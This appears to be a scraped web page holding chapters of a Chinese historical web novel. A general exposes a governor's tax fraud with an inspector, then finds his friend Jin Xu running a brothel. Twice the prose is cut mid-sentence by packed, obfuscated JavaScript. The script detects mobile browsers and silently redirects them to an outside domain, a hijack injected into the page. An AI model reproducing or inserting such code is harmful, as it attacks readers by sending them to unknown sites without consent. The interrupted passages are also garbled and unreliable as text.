“我是不是该庆幸你的精明,你留下我这三百人就是为了留存兵力对付匪患。算盘真是打得响,一笔一划都要有利于自己。” 梁风开门见山,沛太守发福蓄须的脸上不露神色,端坐看着他。 他不打算暗中调查,没有那么多的人手,剿匪时转移太守注意力是最好的调查时机。 “我先前看见沛郡即将送往京城的税钱,仅有二十车?我此程来的路上也遇见了一队护送税钱的官军,两相对比,沛郡税钱似乎少了许多。” 见太守欲言,不等对方开口,梁风下结论:“我怀疑你每年私自贪没地方上贡朝廷的税钱,这月结束前,将沛郡辖下所有县城的账簿拿来我看。” 太守揖道:“将军,沛郡税钱账簿每年都按时上呈朝廷,经相府查验过,都有案本记录在册。” “照我说的做。”梁风不容辩驳道:“想必我来前你已听到风声,知道我这一趟的目的不光是剿匪。我在雪山遇到埋伏这件事已经写折子呈于陛下,你若还想杀我,尽管杀,我死了陛下只会对沛郡越发疑心。不要以为游照同还能保着你,他若还能保你,我也不会出现在这了。” 太守不再言语,沉默退下。 一月后,沛郡辖县账簿陆续送来。梁风先查看郡治礁县的,最近十年加起来有数十大册,他召来手下连夜核查账目。 账本哗啦啦翻了几天几夜,所录数额细致严谨,梁风自己和手下的人都没发现任何问题。 他觉得主要原因是他自己和手下士兵都看不太懂这些复杂庞大的数目,哪怕仅就账目表面的数额加以严谨计算,算出来的结果也是毫无疏漏错处的,而更深处的账目细则是看一眼就头晕。 本身伪造账本也决不会是最近一两年才开始,肯定提前了十几年的。 他遂放弃,决定换一种方法。 他挑了一本年份最早的账本,十年前的,然后指着内页和太守说道:“这已是十年前的簿子,为何纸张还能如此的新?按这泛黄与虫蛀的痕迹判断,最多不过两年左右。这是不是你伪造的假账?” 太守诚惶诚恐,又似震惊于他的直白,急忙道:“将军明察,这些账本制作之初为防虫蛀与腐坏,特地选用了泽南的长叶樟做桨,纸料坚硬,能保二十年不坏,看起来自然是较新的。” 梁风当没听 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沛太守在接旨时,应旨的声音喊得比谁都大。梁风却清晰看见这跪地的一府官员中,各个肥胖身躯流下的冷汗。 最好这个下派的官员不要让他失望。 及至盛夏,一列车队在群山间的燥热烘烤中缓缓驶来。为首的素衣人披着满身仆仆风尘和掩不去的疲惫,当先谨礼地向梁风报上名号——冯棹台。 刺史,是个位低权高的职位。这位看起来似乎比他大两岁的年轻人不知是否可信。 “冯刺史,有劳你了。” 冯棹台躬身揖礼。 梁风在他那弯腰时直打地面的目光中,看出了几分死板与一丝不苟。 冯刺史的调查轰轰烈烈地开始了。 紧张的气氛在府衙间弥漫开来,梁风全程陪同冯棹台搜证查问。过程中一旦算出账面存在疏漏处,都有梁风在旁听一耳朵。 因为他发现冯棹台完全没有习过武,身子板就是寻常文人的身子板,不说弱不禁风,挨个两刀肯定是要死的,他担心查账期间会有人下黑手,冯棹台一死,案子就没人查了。 是保护也是监视,他并不完全信任冯棹台。能下黑手的人不光是郡府衙门的人,还有冯刺史本身。 “我陪同你调查,你会不会觉得有所妨碍?” 同去往辖县取证的路上,梁风直言问道。 冯棹台有些愣住了,他与梁风说话时似乎常常有些愣住。 “不会。记账一事上,大多数人总爱说假话,臣反而十分感谢将军的助力,若是没有将军在旁威慑,拷问时也不会这么快便能听到真话。” “那就好。我是顾虑你会包庇沛郡府衙,劳烦自己白跑一趟。”梁风道:“你眼下发现了什么疑点?” 冯棹台闻言,面色没有丝毫变化,一张脸仍是古板刚毅。 “墨水。将军,沛郡所有账本都用了两种墨水书写,分记不同的数额。” “这是怎么样?” “假账是没有的,每一本账簿所记内容都是真假结合。” “意思是,一墨写的是真字,一墨写的是假字?” “对,写法也不同。真正的数目与文字合为一体,譬如写个‘仁’字,这字左半边用真墨写,右半边用假墨写,那么便能知道‘二’才是真正的数额。” 梁风皱眉愈深,还有这种方法,这些文官真是心思叵测。 “我未声张是因这两种墨水区别甚小,要说是同一墨也可。”冯棹台道。 “怎么分辨?” “看光照。日光下,其中一墨会有近似针尖的反光。” “所以朝廷中一定是有人知道哪一郡的账本要在日光下看,哪一郡是在烛光下看。” 这话冯棹台没接,默默了半晌,才道:“将军,更深入情况还需调查,不必急于下结论。若我没猜错,应当是七年前沛太守初上任时便始用此种墨水,此去辖县就是为了确认这墨水来源。” 梁风想,朝廷又将有一番震动了。 这真假墨字写成的账目送去朝廷相府,必然有人默许串通,知道阅读方法。 117. 《红叶书》(三七) 下到县衙,冯棹台气势十分强悍,以雷霆手段强令县衙内的人整日捧着本书在日头下暴晒,就为了看出字迹间的蛛丝马迹。 这些文官凶起来,有时也是挺凶的。梁风武装站在旁边,助长气势。 他同样翻着账本观察,纸页在日光下极为刺眼,他眯着眼睛仔细看,偶尔某一瞬的确能看见墨印不一样的闪光。一页纸细数下来,能发现十来个隐藏的数目。 难怪朝廷上没几个文官的眼睛是完好的,照这么看下去,他出征打仗时别想发现埋伏在草丛中的敌人了。 在日头下看两个时辰,一回到屋内,简直跟瞎了一样。 梁风的眼睛便从账册转移到了翻看账册的人身上。 冯棹台的那双眼睛好像跟常人不同,太阳光仿佛不会对他造成任何影响,在太阳底下坐一整天跟个没事人似的,或许有的人天生吃文官这碗饭。 县衙内不满他们作风的人很多,梁风不得不启用招安的山匪,才能控制住局面。将军与刺史的文武掌控之间,便透出了一股令府衙越发不满的匪气。 梁风无意听这些人控诉,耐心等待冯棹台的调查结果。 等待的过程中,又数次遭遇暗杀。 梁风一次不慎令冯棹摔伤了腿,他加派更多人手护着冯棹台,保证案件顺利进行。同时,他不断写信寄去朝廷,尽量保持和朝廷的联系不会断。 等到了秋天,冯棹台在一个午后来找他,捏着账簿提袍快速跨过门槛,“查完了,查完了!” 冯棹台脸上灼灼目光与疲惫都显得浓烈,出口声音却笃定十足。 “将军,账面作假已是确凿,这十年加起来沛郡缺缴的税额约莫在五十万两黄金,接下来只需搜出太守将这些金钱藏在了何处。” “好!” 这就轮到他了。梁风以暴力胁迫沛郡府衙,几乎将郡衙上下整个翻了一遍。 冯棹台快马加鞭将调查结果呈交朝廷,希望赶在入冬前能收到朝廷回信。 五十万两黄金除去这几年的花费,应当剩下许多,很好找。但是梁风并未花费人手去找,而是直接逼供。 沛郡太守府里,西南角有一座两层二十步见方的小屋,整座小屋是由金子砌成。 梁风带人包围了那座屋子。 他看着那外层裹了泥瓦的墙壁,命人撬了一块墙皮。墙皮剥下后,露出的灿灿金色可以想见整个屋子的金碧辉煌。 “建这房子有什么用呢?他敢花费吗?”梁风感叹。 “就是不敢,才将黄金建成房子藏起来。”冯棹台站在他身后说:“陛下之所以选择沛郡为第二个目标,就是因为沛太守胆子小,容易得手。” 梁风收回视线,转身看着冯棹台,“你是支持皇帝的?” “不是。” 这话似乎稍显冒犯和生硬,冯棹台缓脸色又道:“不全是,臣效忠的是大周。” “你喜不喜欢游照同?” 冯棹台略感意外,眼睛里露出一股奇怪,“‘喜欢’是何意?” “就是不反对?”梁风有些不确定地说:“不反对他的作风、原则、操守之类的。” “不喜欢。”冯棹台干脆道。 梁风有点喜欢这种干脆,朝廷当然不是军营那样非黑即白的,他问:“之前相府有个检举我布防疏漏的属官,被陛下罢免了,后来陛下安排了新的人顶替,这个顶替的人是你吗?” “不是,他是我的同乡。”冯棹台有一瞬的停顿,“他已经死了。” “怎么死了?” “不是被人杀的,他是抑郁而死,震惊于自己的无能为力而死。” “什么时候啊?”梁风觉得很遗憾,多多少少和他有点关系。 “在他发现自己无论如何也翻不过面前这座大山的时候。”冯棹台语气很淡,“将军或许感到遗憾,我却很失望。” 梁风看着冯棹台的脸,为什么能够这样淡淡地对别人的死亡说出失望。 “这次案件结果报上京,是不是会涉及金延守?” “金党已无人在世,涉及又怎样?”冯棹台却立刻反问。 梁风有些哑,“......那也是。难道还能把人掘出来,再砍上两刀?” 冯棹台侧目看他,“将军是金党?” “我不是。”梁风也答得立刻。 已死的人不会掘出来再砍两刀,但活着的人会,梁风还是谨慎的。这几年如果金延守还在世,估计他就是金党了。 之后直到入冬,朝廷都没有来信。 梁风不想贸贸然上京,又怕沛太守有反扑的动作,借地展开了对山匪的训练。 在沛郡又过了一个春节。 冬季过后,朝廷旨意下达,命梁风押解沛郡太守及其同党者上京,冯棹台携带证物随行,沛郡御史大夫暂代太守一职。 冯棹台立即装点证物,梁风预备行粮,于三月底返京。 队伍比来时的人数还多了一些。不算冯棹台的人,单就他的手下,人数也比前年离京时的一千翻了一倍还多。他不喜欢这样的队伍,换代得太快了,仿佛被埋在雪下的那些人不曾存在过一样。 考虑到冯棹台一行都是文人,脚程偏慢,回程也不像来时那么着急,梁风便放缓速度,这一路行了两个多月。 顶着最盛的烈日抵达京城,相隔一年多,京城高墙依旧。 桑极回王府,给李晟带去梁风平安的消息。梁风带着赵二返营安兵,他向太尉回禀此次剿匪战报,并向陛下上呈。他需亲自监控山匪入营后与老兵的相融情况,军营内说不定会吵闹一番。 过两日,梁风听说冯棹台得到升迁,成为御史大夫谢傅手下的一名属官,皇帝想培养冯棹台的心思昭然若揭。 他在心里遥遥送去恭喜的同时,皇帝下旨召他进宫。 “阿风,这次你做得很好。” 陛下看起来心情不错,梁风垂眸应承一些套话。 这一次,皇帝首次在地方安排了自己的人,提携了一个没有背景和靠山的朝廷新人冯棹台,还为梁风扩充军营树立了模范,有他这次招安山匪的先例,之后他再剿匪应是不会那么见血了。 皇帝当然是心情好的。 “死在雪山的那些人,朕会妥善抚恤他们的家人,你不要太过伤心。” 梁风放下行礼的双手,没有应话。 “军营里总是要进新人的。” 梁风回视皇帝,皇帝在等他回应,他低头道:“是。” “你那副铠甲需要修复了吧,朕遣人去军营里取来,修好了再给你送回去。” “多谢陛下。” 他想问问这件事有没有牵涉金延守,但最终没有说出口。 见过陛下,收了陛下赏赐的各种珍宝,梁风身后拖着浩礼去暖阁。 母亲很生气。 因为他出征后没有寄过一封家书。 梁风低头听训,乖乖地任由母亲摆弄,他脑袋上要顶着个笼子了。 “你还小的时候,我就想着为你戴冠的这一天。戴了冠了,才锁得住头顶的荣耀。” 母亲非常满意,欣慰地看着他。 这副冠,梁风知道母亲准备了很久,他可以一直戴着,但是到了军营里就得脱下来,给头盔让位。 母亲絮絮叨叨说了许多话,梁风留下部分赏赐给母亲,认识了母亲身边陛下调来的两名丫鬟。 从暖隔出来后,梁风回到王府。 李晟见他平安,什么话也没说。梁风却注意到老李头上的白发变多了。 李晟告诉他敬先成婚的事情。 “他成婚了?” “嗯,就在上个月,请帖都送到府里来了。我已经代王爷送去了祝福与贺礼。” 敬先竟然成婚了。他有些恍惚,又问道:“那金絮怎么样了?” “絮姑娘现状还算好。”老李道:“李婶偶尔去嬉春院看看她时,常听她问起府里的那位叫晓花的姑娘怎么样了。小缃也说她自己常常一个人待着念叨。” “她问晓花?” “是。晓花在府里就像寻常人那样过日子呢,没什么事情。” 老李又道:“有另一事,嬉春院的鸨母在去年冬天就死了。” 不过一年左右,变化真是多。 “徐娘的死,也不全是因为她自己的病。”老李道:“徐娘拿走了府里一笔钱,我给的,没留意那笔钱是旧币,是陛下已经严禁民间流传的旧币。” “府里还有旧币?”梁风惊道:“然后怎么样了?” “徐娘被官府用了刑,打得半死。”老李语气里有愧疚,眼角的皱纹曼延许多,“这怪我,是我没留神,眼睛花了,看不出区别,就那么给了她了。” “这不能怪你,是我的疏忽,没留意府里居然还有旧币。你别怪自己。”他把话岔开,“反倒是徐娘已经死了,金絮怎么还在嬉春院?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839852|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “应是还没来得及转手卖出吧,那院子交到她手里了,嬉春院倒也做得有模有样。”老李道。 梁风想了想,决定先去看看敬先。他在陛下的赏赐里挑了一对手镯和其他珍宝,为敬先道上迟来的恭喜。 崔府门楣喜气洋洋,飘扬的红绸残留新婚喜庆,梁风被请进屋,门庭深处红色更浓。小厮奉茶,他看着红艳艳的茶盏若有所思,还未喝上一口,这满府喜气的源头就出现在了门口。 “回来了?” 梁风一看,不由得笑了笑,敬先浑身上下透着一股春风得意,眉角飞扬的神色他很少在身边的人脸上见到。 “怎么不早一个月回来呢?”崔敬先颇有些责怪,“就差了二十来日。我婚宴上买了几只草原来的羊,烤了做的,本来想让你尝尝,还以为你赶得上。” “路上遇到些事情,查案子耽搁了。”梁风抱歉道。 “到底怎么了啊?”敬先压低了声音,“你剿匪的事情都传到京城了,大家都在说你遇上雪崩,几乎全军覆没,说你独自一人杀尽恶匪,独自一人走出雪山。” 梁风眨了眨眼,“真的?” “去年我就听说了,还以为见不到你活着回来。”敬先用砸的力度拍了拍他的肩膀,“也没见你给我寄封信,有事没事?” “没事,这不是好好的。” “我在宫里常听说你的事。”敬先挥退小厮,更压低声音道:“在雪山埋伏你的人,不是山匪?是被抓来的那个太守安排的?自己人杀自己人啊?” “这你也能知道?你常到宫里去?”梁风意外道。 “我在廷尉里找了事做,时不时会进宫一趟。前几天沛郡太守押上京时,我也是随行监护的人之一。” “廷尉啊,跟军营也算有点关系了,我看看能不能帮到你。” “帮什么帮?你先回答我的问题。” 梁风挠挠头,“算是吧,太守这不就被抓了。”他拿出镯子,“不说这个了,我是来给你道喜的。” 敬先往盒子里看了眼,顿时喜笑眉开,“这个好,她会喜欢的。” “喜欢就好,还有些别的,布匹珠玉什么的,这都是刚才陛下赏我的。” 敬先眉毛飞得更欢了,梁风仔细端详,不觉问道:“成了婚,真的这么开心?” 敬先认真地挑看布料,笑着说:“那是自然,你没体会过,你不知道。” “哦。” 梁风又看看敬先认真比划衣料的样子,扭头喝自己的茶去。 眼见得天黑了,梁风不留崔府用膳,便告了辞。 回府前,他还要去看看金絮,便绕路去来福街。 来福街人声嘈杂,商贩行人密集,有几家新开的店铺,比一年多前热闹许多。梁风意外看见几名结伴而来的女子路过,他记得来福街这样的地方很少出现女子,因为花柳之地她们会嫌脏。 他定睛一看,见女子们大多是从新开的一家布行出来。或许是挑衣裳吧。入夜后这一带小混混特别多,看来之后得加强这条街的巡防了。 梁风继续向嬉春院走去。 嬉春院已经开营,灯笼照得火亮,他看了看门前站着的几名女子,见都没印象,便上前询问,他问的是晓花的名字。 盛迎他的姑娘们却说晓花不在,白天外出了,应当马上回来,再十分热情地把他往屋里拽。 梁风想着她既然不在,那等一等好了,便要进去。 这时,一辆马车从街一头驶来,停在嬉春院门口,梁风听见声响侧目看了眼,就见那打马的小厮利索溜下来摆凳。 梁风皱了皱眉,这马车大小不合规矩,宽阔高顶的车身几乎占据了街宽的一半,若这时再来一辆马车或牛车,极易发生拥堵。大周有律,凡车,无论大小,只能行驶车身占街宽三成的路,像这样大小的马车能走大街,走不了来福街。 高顶马车下来一个中年男人,略发福的身躯令腰带微微一颤。 梁风想出言提醒,让其马车速出来福街,一边走去一边摸向令牌。 马车帘再掀开,弯腰走出一名女子,梁风刚好摸出令牌,他抬头一看,就见这女子是金絮。 她一手撩袍,一手搭在中年男人回身抬起的供她搀扶的手臂上,蓝色的衣摆拖离车舆,慢慢下了车。 梁风的视线,慢慢顺到了她身边这中年男人的脸上,脸上颌下布满短扎的胡须,胡须在周围澄黄澄黄的烛火下散发亮盈盈的光。 118. 《红叶书》(三八) 她提裙下车时,一抬眼就见到了他。脸上原本淡淡的笑有一瞬间的凝固,转而变成意外,没想到会在这见到他,神都愣了,说不出一个字。 她像是不知道该如何称呼他,就像梁风也不知道该唤她哪个名字。 梁风率先朝她点头示意,金絮反应过来,微微一笑,松开捏着的裙摆,暂时没说话。 梁风看看旁边这男的,欲出言提醒。金絮看见他的眼色,立即走近施礼道:“王爷,好久不见。” 梁风转而一应:“嗯。” 胖男人闻言看了他一眼,没认得,然后忽略他,揽过金絮就要往嬉春院内去。金絮动作有停顿,还是被揽着走了。她看看身侧男人,又看看梁风,欲言又止。 梁风视线盯着她的头顶移动,将要划过身侧时出言拦下:“马车不能停在此处,停到外面大街去。” 金絮当先止步。胖男人回头斜眼上下打量梁风,粗声道:“你谁啊你?” 梁风拿出将军令牌,什么也不说。 “想吓唬你爷啊?”胖男人嗤笑。 金絮看了两眼他的令牌,向周围姑娘使眼色,立即有姑娘上前指挥小厮将马车拉走。 “用个铁块就想逞威风,多事!”胖男人骂道。 金絮脸上带笑地近身推推胖男人手臂,“赵老板,别气了,您先进去吧,莲儿等着您呢。” 她说完,嬉春院里走出来一名绿衣女子,蜜笑着欺身贴近赵老板,撒娇道:“关郎,你终于来了,莲儿等你好久了。” 这绿衣女子有些眼熟,梁风想起来一年多前见过两面的。 赵关冷哼一声,半推半就地由莲儿拽着手臂拉走了。 “王爷,真是抱歉。”金絮过来同他说道:“有的客人总是不按规矩停放马车,说了也不听,都怪我管制失当。”她脸上的皮肉歉意地笑笑。 马车拉走,街上拥滞的行人流动起来,烛火的光彩无阻碍地投射到地面,空气都疏阔了。 梁风观察她的脸和身高,金絮长高了许多,他道:“可是你刚才是从那车上下来的。” 空气仿佛重新拥堵起来。金絮脸上的歉笑停顿片刻,然后不减半分。 “也是。”她道:“王爷进去坐坐么?会有人招待你的。” 梁风再看她的脸,迟疑道:“好。” 金絮立即转身,微拎衣摆走进去了。 梁风还想问些事,却被她的背影和加了速度的脚步堵住了口。 嬉春院内部和一年多前相比没有什么变化,还是那股异常浓烈的香气和泛旧粗糙的陈设。中间台上女子抚琴轻唱,四周男子粗粝的嗓音和女子的娇笑拥在一起,难解难分。梁风穿行其间,莫名感到调笑气氛之间有一股诡异的轻松。 金絮没有再回头看他,径直尾随赵老板与莲儿相拥的身影,走去了右侧一间包厢内。 或许是香气过于浓烈,令他有些头晕。 “梁公子是来找阿絮姐的么?” 身旁有人轻声问他,一条柔软的东西搭上他的手臂。他还以为是哪里来的棉花包住了他,定睛一看,身旁站着名姑娘,穿着蓝色衣裳。 “赵老板是嬉春院的大主顾,阿絮姐忙着招待,梁公子若想和阿絮姐说话,可得等上一会儿了。妾身名唤冬儿,梁公子等待阿絮姐的时候,不如由我来作陪。”冬儿福身笑着说。 梁风有些怔怔的,“你叫她什么?” “阿絮姐。”冬儿拉着他在空席位坐下,“她并不叫晓花,公子不知道吗?就像公子也并不姓王,”冬儿附耳悄悄说:“而是姓梁,大周国姓。” 微微有气息呼在他的脸上,脸痒,梁风不由自主地往后仰。 “我们记得你,”冬儿笑嘻嘻的,“一年多前给徐娘提供荷包的那个人。你和阿絮姐很熟悉,别的人都不敢靠近你,于是冬儿就来了。” “......哦。”他没有很明白是什么意思......后一句话。 “公子喝酒吗?” 他一低头,冬儿斟满一杯酒就要喂他,他下意识抬手拦道:“我自己来......” 冬儿倾身压下他的手,笑着非是要喂他。 梁风手臂碰到柔软的衣料,酒便顺喉滑了下去。很奇怪的感觉,不是酒的味道奇怪,而是这种被人喂的感觉,他是手断了吗。 他发现自己好像对女人的防备比较低。 梁风夺过冬儿手里的酒杯放下,清清喉咙道:“小缃在不在这里?去叫她来,我有话问她。” “小缃?”冬儿贴得更近,“公子叫个丫鬟干什么,有冬儿陪着您呢。” “快去。” 冬儿撇嘴,转过身去白了他一眼,起身走了。 梁风自己倒酒喝。 片刻后,小缃从帷幕后某个门里出来,一眼看见他便快步走来,压低声音惊喜道:“王爷。” 梁风颔首打量一番,小缃养白了许多,也长高了,看起来比在王府时过得还好,这一年多应当没受什么难过日子。 小缃在他手边合膝坐下,为他斟酒,轻声笑说:“王爷是来找阿絮姐?您今夜可赶巧了,阿絮姐要招待赵老板,恐怕要晚些时候才得空了。” 梁风听愣了,小缃说完也微微一呆,手里的酒壶停滞空悬,壶嘴一滴酒液砸在案面,她迅速收起谄笑的神情,再问道:“王爷,您是来找阿絮姐的?” “嗯......”梁风迟疑地点头,又快嘴补道:“但我不用她招待。” 脑海里一闪而过方才那赵老板搂着金絮走进嬉春院的画面,粗大的手臂和衣袖挡住她半个身躯。 小缃干笑着移开眼,作势起身,“那奴婢同她说去......” 梁风赶紧拦下,“她在忙就不打扰了,她知道我在的。” “在忙”两字说完,脑海里的画面突然放大变得精细了,粗大臂袖上的花纹线线分明。他隐约感到尴尬,问道:“徐娘不是已经去世了,你们怎么还不离开嬉春院?她为何还成了鸨母了?” “这是因为......”小缃坐回来,目光望向金絮闭门的那间房,片刻收回目光,又看看梁风,垂下眼道:“往后的日子,阿絮姐似乎有她自己的打算。” 梁风想问她有什么打算,小缃紧跟着说:“眼下嬉春院有些困难。” “怎么了?” “开春的时候,阿絮姐解散过嬉春院的。”小缃道:“但解散后没过多久,大部分姑娘又都回来了。她们无处可去,离开嬉春院独身一人难以存活,城内很多强盗专盯着这些孤立无援的女子。最后随身钱财不是被抢了,就是被偷了,连城门都走不出,只能回来求阿絮姐收留。” “那她岂不是......”梁风也看向那紧闭着关住她背影的房间,他监督所有驻城布防,就是为了城内能安全一些,但总有他注意不到的角落。 “阿絮姐心软,也没别的法子,就先这样过着,走一步看一步。徐娘刚去世后的一两个月,周围好几户商贩盯上了这座房子,想吃绝户,甚至不惜对徐礼下手。阿絮姐支撑了好久,才把这房子守住了。后面遣散姑娘们时将大部分钱财都给了她们,结果血本无归,眼下嬉春院的日子有些难过。” 小缃道:“那段时间,我没有走,我看着她们一个个离开,又一个个回来。她们说,在嬉春院这屋子里被强.暴,虽然要装出你情我愿的样子,但是至少还有钱拿,可到了外面被强.暴,别人只会记得她们曾经是个妓,从一个要花钱的妓变成了一个不用花钱的妓。” “她们很难离开京城,又无法从良。”小缃担忧道:“阿絮姐今夜跟赵老板合谈,好像就是为了钱的事,有了钱嬉春院就能多坚持一段时间,但不知道赵老板会提出什么要求。” 梁风捏着指尖的杯盏,环顾四周,堂肆里的姑娘十分专注于自己身侧的男人,互相调笑,很少有目光投注到金絮那间屋子,可金絮现在谈的事情却关乎她们的命运。 梁风放下酒杯,“我知道了。我等她谈完事情,你不用多伺候了。” “是。”小缃垂眸退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839853|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。 梁风坐近到金絮的房门口,等待她出来。 这么一等,等到了夜深的时候。 堂肆内的人三两散去,小缃过来告诉他,金絮去了后门的花园。 原来这些包厢还有个后门。梁风穿过堂肆通向后院的暗廊,步入一处烛火幽微的矮树林子。 这处小园子,前年的时候不曾来过,嬉春院内部倒没有外面看起来的那么小,梁风皱了皱眉,难怪徐娘一死,周围就有人打这座房子的主意。 花园中心是一小片池子,池上有座短桥,桥上立着个人影。金絮坐在桥栏上,衣裳反映着月光,低头弄她的头发。 梁风走近两步,注意到她是在用衣袖擦头发,双眼出神地盯着桥砖,不知在想什么。 脑海中忽然凭空出现一幅画面,画面中央是被一堆女子围着的金絮,金絮在众人乞求的目光与攀附中飘摇地回应期待。梁风却想到了在礁县的那场雪崩,茫茫白雪中站在他面前的孤零零的二十几人,好像也是这样攀附与期待地看着他。 梁风又走近几步,金絮听见声响,向他看来。 “王爷。” “怎么坐在这里?”梁风走上桥。 “喝得多了点,出来醒醒酒。” 与她还有一步的距离,已能闻到她身上的酒气,见她眼神也迷离,不知道喝了多少。 “少喝点。” 金絮眯眼,看看他,脑袋往后一仰,仰得几乎跌下桥去,接着向前一倾,倾得上身快贴住大腿。 梁风前后看完,才知道她是在点头回应他说的少喝点。 “是不是喝醉了,回房去吧。” 她摇摇头,“没醉。” 衣领松开了,露出锁骨,在月光下极为显眼。衣襟不是被扯过凌乱地散开,是很整齐地敞着,他想起来堂肆里见到的姑娘,身上衣服都或多或少地暴露。衣襟和脖子之间有块红痕,似乎是被掐的,梁风不由得在她脖子间多看一眼。 金絮眼睛不眯了,清澈的目光打量着他的打量,嘴角微微咧起,问道:“王爷什么时候回来的?” “前几天。”梁风闻言收回视线,回视她的双眼,轻声问:“你想留着嬉春院吗?” 她眨了眨眼,若有所思,眼睛里闪烁着一团漆黑浓亮的光,是远处的烛火。 她缓慢地点头,“我受不了她们所有人跪下来求我。她们无处可去,希望我留下嬉春院。” “她们知道你的名字?” 她晃晃脸,垂下脑袋,“轻絮。这是我在嬉春院的名字。我已经有好几个名字了。”她捧起手,像是想掰着指头数。 梁风感觉她是醉了,俯身想与她对视,道:“你有困难的话,我可以帮你。” 她立即抬起头,“我刚才......我刚才不小心洒了酒在头发上,擦不干净了。”她说着,抓起那缕头发,送到鼻子下闻着,“不想带着一身酒气睡觉,可是要洗头发的话,又得好晚才能睡。”她殷殷看着梁风,“怎么办?” 梁风瞧她手心里那点头发,又看看她,“呃......这......头发?” “这样小的事情都不知道怎么办,你能帮我什么?” 梁风愣了一下,“什么?” 她不说话了,闭上嘴,放下头发,又不知道在想什么。 梁风反而开始认真思考,他到底能帮上她什么。 什么事情,是能够帮她的。 “王爷。”她忽然唤了声。 “嗯。” “这次回来,多陪陪我吧。” 双眼清明的样子,完全不像有醉意,在她眼睛里还能数清烛火。 他忽然发现,堂肆里别的姑娘能有那股轻松和专注,是因为所有的沉闷与挤压全在她一个人身上。 梁风也不想别的,点头应道:“好。” 她低下头,像是要醉的样子。 “你喝醉了,回屋去吧。” “好。”她一动也不动,不知是重复,还是在回答。 119. 女子之道 头发被酒弄湿了,是先洗头发,还是直接睡觉? 这真是个好问题,如果不是她问起,他都不知道这样的事情还能成为一个问题。 头发沾着酒又怎么样,他沾着血都照样睡。唯一可能睡不着的,是那血没有沾在身上,沾进了心里。 可是转念一想,鲜血里有战友的忠心,而酒液里有姑娘们对恩客看似你情我愿的奉承,忠心与虚与委蛇毕竟不一样,犹豫是洗还是不洗似乎也正常。 这确实是个问题。 他并未在嬉春院过夜,金絮醒了酒,沉默着走回赵关厢房。梁风趁月色尚薄时回了王府,天亮返营。 金絮说希望他多陪陪她,梁风应下了,心里觉得奇怪。她应当是很少有这种语气的,直接提出要求的话即使从前在太南时也不会这样说出来,隐约觉得她的声音之下有些别的意思,可要让他更仔细一想,又好像没什么不妥,她只是需要人陪伴而已。 若换做是他,陪着自己的人不说多了,至少要有那么一两个的。似乎能体会到她的心境,梁风愿意多陪陪她,何况她都开了口,也不想拂了她的期待,便抓紧处理完事情入城。 军营里没什么事情,当下最要紧的是对山匪的处置问题。数位将领争执不下,有说混合训练,有说分开独训,梁风不免犯愁。 皇帝似乎无意插手,只私下里提醒梁风好好收拢山匪的心。 梁风分心接了旨,懒得揣摩皇帝心思,和身边一干下属花了几天制定专门针对山匪的训练,近乎独断地决定匪兵按所擅身技分为数个兵种归入大队,并提拔原先匪首那人为副将,在身侧摆了一张还不熟悉的脸。 听风声说,皇帝不插手管制军营的原因是游照同不满营中混匪,皇帝与丞相之间闹了些争吵。梁风一想,写折呈上,陈述匪兵悉听管教,收效甚好,然后便不再关注内外朝矛盾以及这封折子的后续。 这些事情,听听便算,他无暇关心。一扭头下令加大京城内的城防兵巡察力度,严禁任何偷盗强抢的事件发生。 处理完军营里的事情,在一日天将要黑时,梁风入城。 嬉春院门口没有向街道挥着手帕热情揽客的姑娘,时辰还早,灯笼的烛火刚刚点燃。 他十分有底气于自己的遵守约定,在门口未有人揽客的情况下,推门走了进去。 堂肆中人不多,往来几名姑娘,一眼就看见了他。他看一圈,却没见到金絮。 “哎哟公子,还没入夜呢,这么着急啊。” 几根腰肢扭近,梁风瞥眼看着,有心留意她们的穿着。 薄纱仿佛朦胧雾气,轻纱之下的肩颈仔细看连痣都看得分明。胸口格外突出,能随着步子上下颠簸;故意做短的袖子方便在走动时随时能露出半截手臂;束腰的方式各有不同,有的只系着一根丝绦,有的却裹着宽厚的布条;裙摆很轻,裹得很紧,大腿、膝盖、小腿,线条一眼就能看出来。 姑娘们个子都不算高,靠得近了,他得很低下头去看。缠腰的宽厚布条有门道,极好地展现了纤细的腰肢,尤其侧面看的时候,像是堪堪一握,两侧线条特别像马匹的腰腹,很柔软的样子,不知道摸起来会不会是一样的感觉。 这腰也太细太软了,刀都不用出鞘就能斩断吧,人的腰是怎么长成这样的。他不由得摸上肚子,他自己的腰绝对一刀斩不断。 “公子找阿絮姐么,她在后院呢。” 梁风眨眼回神,移开了目光,跟他说话的是仍旧一身绿衣的莲儿,他应道:“好。” 头一次这么认真地看女人的身体,跟男人真是有很大的不同,是隔着衣服看都能看出很大不同。 此前对女人身体的了解,是军营里训练间隙,听见士兵们私下的讨论和猜测,偶尔能得到部分经验丰富的老士兵的描述与分享。听得多了,梁风心里多多少少也有一幅对女子身体的模糊想象,是十分美好的。 他准备去后院,身侧响起一道冷哼。 “公子,可不能拿这种眼神看阿絮。” 他愣了一下,侧目看去,一名比其他姑娘年纪略大的女子抱胸看着他,神情冷淡,眼神深处暗含一丝警告,既围了过来,又与他保持最远的距离。 “抱歉,我知道了。”梁风微微颔首,转而问道:“你叫什么名字?” “蓉儿。” 语气也很冷淡,梁风多看她一眼,便走了。 金絮又在花园里的那座桥上,梁风走近时,她低头不知在想什么。 “又坐在这里,桥栏不高,小心跌下去。” 